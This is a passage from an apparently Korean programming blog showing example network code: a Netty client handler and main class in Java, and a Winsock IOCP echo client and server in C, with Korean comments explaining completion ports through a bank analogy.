public void channelConnected(ChannelHandlerContext ctx,ChannelStateEvent e){

Channel ch = e.getChannel();
ChannelBuffer buf = ChannelBuffers.dynamicBuffer();

buf.writeBytes("1234a".getBytes());

ChannelFuture future = ch.write(buf);


future.addListener(new ChannelFutureListener(){
public void operationComplete(ChannelFuture future){
Channel ch = future.getChannel();
//ch.close();
//보내고 응답 안받고 끝내려면 close 해주면 됨
}
});
}



public void exceptionCaught(ChannelHandlerContext ctx,ExceptionEvent e){

e.getCause().printStackTrace();

Channel ch = e.getChannel();

ch.close();
}
}

두 번째로 클라이언트 쪽의 main 클래스 입니다.

package com.incross.netty;

import java.net.InetSocketAddress;
import java.util.concurrent.Executors;

import org.jboss.netty.bootstrap.ClientBootstrap;
import org.jboss.netty.channel.ChannelFactory;
import org.jboss.netty.channel.ChannelFuture;
import org.jboss.netty.channel.ChannelPipeline;
import org.jboss.netty.channel.ChannelPipelineFactory;
import org.jboss.netty.channel.Channels;
import org.jboss.netty.channel.socket.nio.NioClientSocketChannelFactory;

public class SimpleClient {

/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
int port = 8000;

ChannelFactory factory = new NioClientSocketChannelFactory(
Executors.newCachedThreadPool(),
Executors.newCachedThreadPool()
);

ClientBootstrap bootstrap = new ClientBootstrap(factory);

bootstrap.setPipelineFactory(new ChannelPipelineFactory() {

@Override
public ChannelPipeline getPipeline() throws Exception {
// TODO Auto-generated method stub

return Channels.pipeline(new SimpleClientHandler());
}
});


bootstrap.setOption("tcpNoDelay", true);
bootstrap.setOption("keepAlive", true);

ChannelFuture future = bootstrap.connect(new InetSocketAddress("localhost",port));



// 아래 부터는 connection 끊어 졌을 때를 위한 처리
future.awaitUninterruptibly();

if(!future.isSuccess()){
future.getCause().printStackTrace();
}

future.getChannel().getCloseFuture().awaitUninterruptibly();

factory.releaseExternalResources();
//connection 끊어졌을 때 자원 회수
}

}

Posted by k1rha
2012. 6. 6. 19:49

IOCP예제 코드 


[출처 : http://cafe.naver.com/boolnim/403 ]



클라이언트 소스코드

 

 

#include <stdio.h>

#include <stdlib.h>

#include <winsock2.h>

 

void ErrorHandling(char *message);

 

int main()

{

         WSADATA wsaData;

         SOCKET hSocket;

         SOCKADDR_IN recvAddr;

 

         WSABUF dataBuf;

         char message[1024] = {0,};

         int sendBytes = 0;

         int recvBytes = 0;

         int flags = 0;

 

         WSAEVENT event;

         WSAOVERLAPPED overlapped;

 

 

         if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) /* Load Winsock 2.2 DLL */

                  ErrorHandling("WSAStartup() error!");

 

         hSocket=WSASocket(PF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

         if(hSocket == INVALID_SOCKET)

                  ErrorHandling("socket() error");

 

         memset(&recvAddr, 0, sizeof(recvAddr));

         recvAddr.sin_family=AF_INET;

         recvAddr.sin_addr.s_addr=inet_addr("127.0.0.1");

         recvAddr.sin_port=htons(atoi("2738"));

 

         if(connect(hSocket, (SOCKADDR*)&recvAddr, sizeof(recvAddr))==SOCKET_ERROR)

                  ErrorHandling("connect() error!");

 

 

         //구조체에이벤트핸들삽입해서전달

         event = WSACreateEvent();

         memset(&overlapped, 0, sizeof(overlapped));

 

         overlapped.hEvent=event;

 

 

 

         //전송할데이터

         while(true)

         {

                  flags = 0;

                  printf("전송할데이터(종료를원할시exit)\n:");

                  scanf("%s",message);

 

                  if(! strcmp(message,"exit")) break;

 

                  dataBuf.len=strlen(message);

                  dataBuf.buf=message;

 

                  if(WSASend(hSocket, &dataBuf, 1, (LPDWORD)&sendBytes, 0, &overlapped, NULL)==SOCKET_ERROR)

                  {

                           if(WSAGetLastError() != WSA_IO_PENDING)

                                   ErrorHandling("WSASend() error");

                  }

 

                  //전송완료확인

                  WSAWaitForMultipleEvents(1, &event, TRUE, WSA_INFINITE, FALSE); //데이터전송끝났는지확인

 

                  //전송된바이트수확인

                  WSAGetOverlappedResult(hSocket, &overlapped, (LPDWORD)&sendBytes, FALSE, NULL);//실지로전송된바이트수를얻어낸다.

                  printf("전송된바이트수: %d \n", sendBytes);

                  if(WSARecv(hSocket, &dataBuf, 1, (LPDWORD)&recvBytes, (LPDWORD)&flags, &overlapped, NULL) ==SOCKET_ERROR)

                  {

                           if(WSAGetLastError() != WSA_IO_PENDING)

                                   ErrorHandling("WSASend() error");

                  }

                  printf("Recv[%s]\n",dataBuf.buf);

         }

 

         closesocket(hSocket);

         WSACleanup();

 

         return 0;

}

 

void ErrorHandling(char *message)

{

         fputs(message, stderr);

         fputc('\n', stderr);

         exit(1);

}




[ IOCP 서버 부분 ] 



/*

* Port_EchoServer.c

* Written by SW. YOON

* 주석 브라우니

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <winsock2.h>

#include <process.h>

 

#define BUFSIZE 1024

 

typedef struct //소켓정보를구조체화.

{

         SOCKET hClntSock;

         SOCKADDR_IN clntAddr;

} PER_HANDLE_DATA, *LPPER_HANDLE_DATA;

 

typedef struct // 소켓의버퍼정보를구조체화.

{

         OVERLAPPED overlapped;

         char buffer[BUFSIZE];

         WSABUF wsaBuf;

} PER_IO_DATA, *LPPER_IO_DATA;

/*

소켓 버퍼 정보를 구조체로 만드는데 이때 WSABUF 와 overlapped 를 포함한다.

WSABUF WSASend WSARecv 함수의 인자로 전달되는 버퍼에 사용되는 구조체 이기에 포함 되고

overlapped 구조체 변수를 넣어주는건 현재 완료된 입출력 정보를 얻어 낼때 사용 된다.

*/

 

unsigned int __stdcall CompletionThread(LPVOID pComPort);

/*

완료된 쓰레드에 관한 처리를 해주는 함수 이다.

*/

 

void ErrorHandling(char *message);

 

int main(int argc, char** argv)

{

         WSADATA wsaData;

         HANDLE hCompletionPort;

         // 만들어질 CompletionPort가 전달될 Handle

 

         SYSTEM_INFO SystemInfo;

         /*

         시스템 정보가 전달됨 쓰레드를 생성할때 CPU 의 개수에 따라

         쓰레드를 만들어 줘야 하기 때문에 정보를 얻어옴

         */

         SOCKADDR_IN servAddr;

 

         LPPER_IO_DATA PerIoData;

         //위에서구조체로만들어준소켓의버퍼정보

        

         LPPER_HANDLE_DATA PerHandleData;

         //소켓정보가저장될구조체여기서는소켓핸들과주소를가지고있다.

 

         SOCKET hServSock;

         int RecvBytes;

         int i, Flags;

 

         if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) /* Load Winsock 2.2 DLL */

                  ErrorHandling("WSAStartup() error!");

 

         //1. Completion Port 생성.

         hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);

         /*

         CreateIoCompletionPort 의 첫번째에 해당하며

         Completion Port 를 만들어주는 부분이다.

         은행이야기를 예로 들자면 은행을 만들어 주는 부분이 된다.

         */

 

         GetSystemInfo(&SystemInfo);

         /*

         시스템 정보를 얻어온다.

         이는 앞서 말했지만 CPU의 개수만큼 쓰레드를 만들기 위해서 이다

         이렇게 얻어온 시스템 정보는 맴버변수 dwNumberOfProcessors CPU의 개수가들어간다.

         */

 

         //2. Completion Port 에서 입출력 완료를 대기하는 쓰레드를 CPU 개수만큼 생성.

         for(i=0; i<SystemInfo.dwNumberOfProcessors; i++)

                  _beginthreadex(NULL, 0, CompletionThread, (LPVOID)hCompletionPort, 0, NULL);

         /*

                  CPU의 개수만큼 쓰레드를 만들어 주는 부분이다.

                  이때 새로 만들어지는 쓰레드에 미리 만들어둔 Completion Port 를전달하는데

                  이를통해 unsigned int __stdcall CompletionThread(LPVOID pComPort); 함수의인자로

                  쓰레드로 전달한 Completion Port 가전달된다.

 

                  은행을 예로들자면 은행원을 고용하는 부분 입니다.

                  은행 크기에 맞게 은행원을 고용하게됩니다

                  또한 은행원의 소속을 현재 만들어준 은행이라고 나타내는 부분입니다.

         */

 

         hServSock = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

         // 소켓을 만들때는 꼭 중첩 입출력 형식으로 만들어 주어야 한다.

         servAddr.sin_family=AF_INET;

         servAddr.sin_addr.s_addr=htonl(INADDR_ANY);

         servAddr.sin_port=htons(atoi("2738"));

 

         bind(hServSock, (SOCKADDR*)&servAddr, sizeof(servAddr));

         listen(hServSock, 5);

 

         while(TRUE)

         { 

                  SOCKET hClntSock;

                  SOCKADDR_IN clntAddr; 

                  int addrLen=sizeof(clntAddr);

 

                  hClntSock=accept(hServSock, (SOCKADDR*)&clntAddr, &addrLen); 

 

                  // 연결된클라이언트의소켓핸들정보와주소정보를설정.

                  PerHandleData=(LPPER_HANDLE_DATA)malloc(sizeof(PER_HANDLE_DATA)); 

                  PerHandleData->hClntSock=hClntSock;

                  memcpy(&(PerHandleData->clntAddr), &clntAddr, addrLen);

                  /*

                  PerHandleData에 연결된 클라이언트의 정보들을 저장한다.

                  이때 동적 할당으로 정보를 저장 하는데 동적 할당을 모른다면 공부하고 오도록 하자

                  */

 

                  //3. Overlapped 소켓과 CompletionPort의 연결.

                  CreateIoCompletionPort((HANDLE)hClntSock, hCompletionPort, (DWORD)PerHandleData, 0);

                  /*

                  CreateIoCompletionPort 의 두번째 기능에 해당 한다.

                  현재 연결된 클라이언트와 만들어둔 CompletionPort 오브젝트를 연결 해준다.             

                  세번째 인자로 위에서 클라이언트 정보를 저장했던 PerHandleData를 넘겨 준다.

                  이를 통해서 입출력이 완료된 클라이언트의 정보를 얻는것이 가능 하다.

                  잠시후 아래에서 이부분을 시보라고 기제하게 될것 이다.

 

                  은행으로 치자면

                  은행에 손님이 들어오게 되는 부분 입니다.

                  */

 

                  // 연결된 클라이언트를 위한 버퍼를 설정하고 OVERLAPPED 구조체 변수 초기화.

                  PerIoData=(LPPER_IO_DATA)malloc(sizeof(PER_IO_DATA));

                  memset(&(PerIoData->overlapped), 0, sizeof(OVERLAPPED)); 

                  PerIoData->wsaBuf.len=BUFSIZE;

                  PerIoData->wsaBuf.buf=PerIoData->buffer;

                  /*

                  PerIoData 를 만들어 주고 초기화 합니다.

                  이는 소켓 버퍼정보를 지니는 구조체 입니다.

                  */

                  Flags=0;

 

                  //4. 중첩된 데이터입력.

                  WSARecv(PerHandleData->hClntSock, // 데이터 입력소켓.

                           &(PerIoData->wsaBuf),  // 데이터 입력 버퍼포인터.

                           1,       // 데이터 입력 버퍼의 수.

                           (LPDWORD)&RecvBytes,    

                           (LPDWORD)&Flags,

                           &(PerIoData->overlapped), // OVERLAPPED 구조체 포인터.

                           NULL

                           );  

                  /*

                  이부분은 중첩입출력 부분에서 배웠으므로 자세히 설명하지는 않도록 하겠다.

                  다만 유의해서 볼점은 여섯번째 인자로 전달된PerIoData 구조체에 overlapped 이다.

                  조금 있다가 이부분도 다시보게 될것이다.

                  */

         }

         return 0;

}

 

//입출력 완료에 따른 쓰레드의 행동 정의

unsigned int __stdcall CompletionThread(LPVOID pComPort)

 

{

         HANDLE hCompletionPort =(HANDLE)pComPort;

         /*

         인자로 받은 pComPort 에는 main의 hCompletionPort 가 전달 된다.

         이는 쓰레드를 생성시 main 의 hCompletionPort 를 인자로 전달 했기 때문이다.

         */

 

         DWORD BytesTransferred;

         LPPER_HANDLE_DATA PerHandleData;

         LPPER_IO_DATA PerIoData;

         DWORD flags;

 

         while(1)

         {

                  // 5. 입출력이 완료된 소켓의 정보 얻음.

                  GetQueuedCompletionStatus(hCompletionPort,    // Completion Port

                           &BytesTransferred,   // 전송된 바이트수

                           (LPDWORD)&PerHandleData,

                           (LPOVERLAPPED*)&PerIoData, // OVERLAPPED 구조체 포인터.

                           INFINITE

                           );

                  /*

                  첫번째 인자로 전달된 hCompletionPort 의연결된 소켓들 중에

                  입출력을 완료한 소켓이 있다면 리턴 한다.

                  그렇지 않다면 입출력의 완료가 될때까지 기다린다.

                  이때 세번째 인자로 전달된 PerHandleData 은입출력이 완료된 소켓이

                  hCompletionPort 와 연결 할때 같이 세번째 인자로 전달했던 클라이언트 정보가 전달 된다.

                  위에가서 다시보고 오도록 하자.

                  네번째 인자로 전달된 PerIoData 에는Send Recv 시에 전달했던

                  overapped 구조체 변수의 포인터를 얻기 위해사용된다.

                 

                  위로 올라가 Recv 함수 호출시 어떻게 overlapped 구조체 변수의 주소를 전달했는지 보고 오도록하자.

                  여기서 우리가 LPPER_IO_DATA 구조체로 overlapped 구조체 정보를 얻어올때 Recv 시 전달했던

                  데이터 정보들도 같이 받아오게 된다.

                  이는 받아오게 되는 overlapped 구조체 주소가 실제로는 LPPER_IO_DATA 구조체의 주소이기 때문이다.

                  LPPER_IO_DATA 구조체를 만들어 줄때 가장 먼저 포함 시킨 맴버가 무엇인지 보고 오도록 하자.

                  LPPER_IO_DATA 구조체의 시작주소 와 overlapped 구조체의 시작주소는 같기 때문에 가능하다.

                  */

 

                  if(BytesTransferred==0) //EOF 전송시.

                  {

                           closesocket(PerHandleData->hClntSock);

                           free(PerHandleData);

                           free(PerIoData);

                           /*

                           클라이언트의 연결 종료시 처리를 해준다.

                           free 가 이해가 안된다면 동적할당을 배우고 오도록..

                           */

                           continue

                  } 

                 

                  PerIoData->wsaBuf.buf[BytesTransferred] = '\0';

                  printf("Recv[%s]\n",PerIoData->wsaBuf.buf);

                  // 6. 메시지클라이언트로에코.

                  PerIoData->wsaBuf.len=BytesTransferred;

                  WSASend(PerHandleData->hClntSock, &(PerIoData->wsaBuf), 1, NULL, 0, NULL, NULL);

 

                  // RECEIVE AGAIN

                  memset(&(PerIoData->overlapped), 0, sizeof(OVERLAPPED));

                  PerIoData->wsaBuf.len=BUFSIZE;

                  PerIoData->wsaBuf.buf=PerIoData->buffer;

 

                  flags=0;

                  WSARecv(PerHandleData->hClntSock,

                           &(PerIoData->wsaBuf),

                           1,

                           NULL,

                           &flags,

                           &(PerIoData->overlapped),

                           NULL

                           );      

         }

         return 0;

}

 

void ErrorHandling(char *message)

{

         fputs(message, stderr);

         fputc('\n', stderr);

         exit(1);

}

 





Posted by k1rha